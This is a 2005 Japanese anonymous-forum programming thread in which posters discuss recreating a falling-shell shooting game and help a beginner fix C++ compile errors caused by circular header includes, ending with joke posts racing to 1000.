自由に動けるんでしょか?
甲羅は上から下に落ちてくるだけだと思ってたんですが、
斜めにも動く??しかも画面端で反射??
出現甲羅の出現は基本的には上から降ってくる感じでいいんでしょか。
あとカブトムシの攻撃法がよくわからないのですが、
もしや
>>876 みたく弾撃つんじゃないとか?
>>871 のサイトにも自爆して★を出すとかなんとか書いてあるし。
ググるとこちらのサイト様の→
ttp://nagoya.cool.ne.jp/o_mega/product/e2.html EveryExtendってゲームにちょっと似てるとか。
なんでも今度PSPに移植される凄いゲームらしいのですが。。
ダブルバッファリングはそろそろ必要っぽいですね ^^
>物理の知識が要るかな
('A`) マジデ・・
エミュでやればいいじゃない。
工エエェェ(´д`)ェェエエ工
>>916 おや、前までググっても「VIPPER親子仲直り〜」だけだったのに、
なぜか一個増えてるw
>>917 ちょww
>>915 物理って言っても重力加速度や跳ね返り程度だぞ
>>915 ああ、このゲームを弾撃てるようにして甲羅が跳ね返るようにすればほぼそのとおりだよ
っつうかまさかパクリじゃ(ry
>>920 それのみならならなんとか。
>>921 弾は撃てていいんですか。
背景マップに判定は無くていいんですよね。
あと、
>>915 のEveryExtendだと横から敵が出てきてるんですが、
カブトムシの場合も主に横から出るんでしょか?
>>922 上から斜めに降ってくる
ボールを落とす感じ
エディタなんかだとクローンといい、ゲームだとパクリといわれる ま、そんなもんさ
おお、ありがたや、ありがたや (-人-)
だいぶ固まってきたかも。
あと一個だけ!
敵倒したとき出る星の数と、
挙動はどんな感じでしょうか?
>>
>>876 のだとほぼ下方向に落ちていく感じなのですが、
もっとパーっと放射状に飛ばしたほうがいいんでしょうか。
質問ばっかしてすみません。
>>924 アイデアをパクるか使い易さをパクるかの違い…
じゃなくて単に劣化してるから。
この場合はパクリとは言わんだろ、元あるものを再現しようとしてるんだから すでにあるものを作りたいってのはよくわかんないけどね。
パクリ? いやインスパイy
パクリじゃなくて「ジャンル」だよw
932 :
デフォルトの名無しさん :2005/11/30(水) 09:33:07
シューティングに酒飲ませて顔赤らめればオリジナルになるので無問題
インスパイヤと言え!!
IEコンポさん・・リファラ偽装させて下さい・・
もちろん、誰も批判はしてないから気にするな 全てをありのまま受け入れるのがVIP
937 :
デフォルトの名無しさん :2005/11/30(水) 16:56:17
勝手にVIPPERの定義を作っちゃうのがVIP
>>912 たぶん
バカデカイ配列変数を関数内で宣言してるだろ
>>912 なんのために100万個もw
しかも数字の点打つとこ間違ってるしww
940 :
みずき ◆WnmizUKIg6 :2005/11/30(水) 18:50:04 BE:201665693-##
942 :
みずき ◆WnmizUKIg6 :2005/11/30(水) 18:56:28 BE:186728055-##
943 :
デフォルトの名無しさん :2005/11/30(水) 19:36:40
#include <stdio.h> int main(int argc, char *argv[]) { printf("%s¥n", argv[0]); argv[0] = "VIP"; printf("%s¥n", argv[0]); return 0; }
なにがしたいんだよw
ファイルの分割でコンパイルエラー出まくり orz 意味ワカンネ ┐(´ー`)┌
それはできない(´ー`)
948 :
デフォルトの名無しさん :2005/11/30(水) 21:05:14
ちゃんとインクルードしてるか
949 :
945 :2005/11/30(水) 22:13:02
#ifndef aaa #define aaa #endif んー、基本的にはヘッダを↑みたなので囲めば 大丈夫なんですよね?
そうだけど、ソースさらさないなら、せめてエラーメッセージくらいさらせば?
>>949 たぶん、関数の実装をヘッダに書いちゃってる悪寒。
952 :
945 :2005/11/30(水) 22:25:06
>>951 うはww書きまくりんぐwwww
まずいんですかね
べつにまずくないけど気をつけないと多重定義云々面倒くさいことに 何のエラーでてるかわからんと何とも言えないよね
ラウンジからきますた
>>957 ヘッダに実装書いてるやつ
ソース側じゃなくヘッダ側にiostreamインクルードしたらおkなんじゃね?
>>958 #ifndef CCCC
#define CCCC
#include <iostream>
using namespace std;
#include "a.h"
#include "b.h"
class A;
class B;
class C
{
public:
int n;
C () { n = 3; }
void func1 () { cout << n << endl; }
void func2 (A a, B b) {}
};
#endif
こうですかね?
これではダメでした。
ヘッダ実装ありの01.cppでb.func2とc.func2を引数なしで呼んでるのはなんで?
961 :
957 :2005/12/01(木) 17:00:32
#include <iostream>
using namespace std;
#include "a.h"
#include "b.h"
#include "c.h"
int main ()
{
A a;
B b;
C c;
a.func2(b, c);
b.func2(a, b);
c.func2(b, c);
return 0;
}
>>960 すいませんこうでした。 ><
b.func2は void func2 (A a, C c) {} c.func2は void func2 (A a, B b) {} って宣言されてるから01.cppでは b.func2(a, c); c.func2(a, b); って呼ばないとエラー。
963 :
957 :2005/12/01(木) 17:12:54
965 :
957 :2005/12/01(木) 17:22:41
マジですか!? VC++6.0 Standardだと以下のエラーが。 コンパイル中... 01.cpp f:\my_program\cプラプラ実験\ファイル分割_01\c.h(22) : error C2027: 認識できない型 'B' が使われています。 f:\my_program\cプラプラ実験\ファイル分割_01\c.h(14) : 'B' の宣言を確認してください。 F:\MY_PROGRAM\Cプラプラ実験\ファイル分割_01\01.cpp(23) : error C2079: 'b' が 未定義の class 'B' で使用されています。 F:\MY_PROGRAM\Cプラプラ実験\ファイル分割_01\01.cpp(26) : error C2664: 'func2' : 1 番目の引数を 'int' から 'class B' に変換できません。 (新しい機能 ; ヘルプを参照) ソースまたはターゲットが不完全な型を含んでいます。 F:\MY_PROGRAM\Cプラプラ実験\ファイル分割_01\01.cpp(27) : error C2228: '.func2' : 左側がクラス、構造体、共用体ではありません。 F:\MY_PROGRAM\Cプラプラ実験\ファイル分割_01\01.cpp(28) : error C2664: 'func2' : 2 番目の引数を 'int' から 'class B' に変換できません。 (新しい機能 ; ヘルプを参照) ソースまたはターゲットが不完全な型を含んでいます。 cl.exe の実行エラー ファイル分割_01.exe - エラー 5、警告 0 //----------------------------------------------- で、mainを return 0 以外全部コメントアウトすると以下のエラーが。 コンパイル中... 01.cpp f:\my_program\cプラプラ実験\ファイル分割_01\c.h(22) : error C2027: 認識できない型 'B' が使われています。 f:\my_program\cプラプラ実験\ファイル分割_01\c.h(14) : 'B' の宣言を確認してください。 cl.exe の実行エラー ファイル分割_01.exe - エラー 1、警告 0
>>965 BCB32だと普通に通る。
エラー見るとBの定義がされてないっぽいんだが
b.hだけ別のフォルダにあったりしない?
967 :
デフォルトの名無しさん :2005/12/01(木) 17:35:41
>>965 #includeを順番におっかけていってみよう。"b.h"がincludeされる前に"c.h"がincludeされちゃうね。
968 :
957 :2005/12/01(木) 17:37:18
おちんちんしゅっしゅ!
969 :
967 :2005/12/01(木) 17:38:48
>>967 訂正。"b.h"でclass Bが宣言される前に"c.h"がincludeされてclass Cが宣言されちゃう。
970 :
957 :2005/12/01(木) 17:46:43
>>966 うらやますぃ。
>>969 どれからインクルードされてもいいように、
それぞれのヘッダの上の方で #include "○○.h"ってのを呼んでるつもりなのですが
そういう問題じゃないんですかね orz
てゆか、なんで上から順番どおり読んでくれんのだぁ (T_T)
>>968 w
971 :
967 :2005/12/01(木) 17:49:14
>>970 上から順番に読んでるよ。
"01.cpp"の#include "a.h"から順番に考えていってごらん。
972 :
957 :2005/12/01(木) 17:55:46
うあ、そんなん考えたことなかった ('A`) えーと、、まず 01.cppでa.hが呼ばれて、 a.hでb.hが呼ばれて、 b.hでa.hがスルーされてc.hが呼ばれて、 c.hでa.hとb.hがスルーされて・・ ん?ここで止まる!? もうわけわかめ
>>972 それでゴール。#includeは、ファイルの中身をまるごとソースにコピペするだけ。
>>972 の順番で、"01.cpp"の#includeと対応するヘッダファイルを差し替えてみてごらん。
974 :
957 :2005/12/01(木) 18:37:27
>>973 #includeってコピペだったのね ^^
↓みたいな流れで止まってるのかなぁ。
// 01.cpp
#include iostream
↓
// a.h
↓
// b.h
↓
// c.h
class A: // ←宣言だけ?関数プロトタイプみたいな??
class B:
class C {
public:
int n;
C () { n = 3; }
void func1 () { cout << n << endl; }
void func2 (A a, B b) {} // ←ここで止まる?
↑のfunc2()で宣言だけされてて、
中身がなんなのかわからない型AとBを使おうとしてるから止まる??
しかもAとBのうち、なぜか右に書いてあるBから判定してるみたい。 func2()を
void func2 (B b, A a) {}
とすると、エラーは「認識できない型 'A' が使われています。 」ってなる。
これでいいでしょか ('A`)
('A')
class A; class B; じゃなかったっけ?
977 :
デフォルトの名無しさん :2005/12/01(木) 18:56:24
次スレてんぷら作ったほうがいんじゃね?
>>976 でした orz
ちなみに昨日エラーが出たプログラムは
ヘッダは11、ソースが3。ファイル合計14。
ヘッダの実装をソースに移すと全部で20超えるか。
あと3時間で終わるかな・・。
>>978 ちなみに今回の場合、ヘッダに実装を書いたがゆえの多重定義云々じゃなくて、
ファイルの分割方法に問題があったと思われ。
C++は意味不なエラーが多いから困る。 今CからC++のクラスを使う関数の呼ぼうとしてはまってるんだけど undefined reference to `operator new(unsigned int)'って言われてビルドできない。 g++でビルドしてるのに…
C++のせいにしちゃダメだお(;^ω^)
982 :
デフォルトの名無しさん :2005/12/01(木) 19:23:05
Cってクラスっていう概念がないんだっけ?
そりゃオブジェクト指向って考え方が出る前に作られた言語だもん
やっと動いたぁ (´д`)
>>979 うはwごめww
ってことで、スレ立ててきまっす。
【VIPPERでもわかるプログラミング 2】
でいいですよね。
987 :
デフォルトの名無しさん :2005/12/01(木) 21:07:48
>>3 /*VIPPERでもわかるプログラミング ver.3*/
がいいとおもう
988 :
みずき ◆WnmizUKIg6 :2005/12/01(木) 21:08:44 BE:156851273-##
989 :
986 :2005/12/01(木) 21:12:07
std::cout << "VIPでやれ." << std::endl;
991 :
デフォルトの名無しさん :2005/12/01(木) 21:15:09
あーあw
1000は俺がいただくぜwwwwwwwwwwwww
⊂二二二( ^ω^)二⊃ ブーン
ksk
std::cout << "VIPだと落ちるんだよ." << std::endl;
('A`)
997 :
みずき ◆WnmizUKIg6 :2005/12/01(木) 21:17:51 BE:44815032-##
for(;;)puts("1000は俺様のものです!");
(;^ω^)
1000
1001 :
1001 :
Over 1000 Thread このスレッドは1000を超えました。 もう書けないので、新しいスレッドを立ててくださいです。。。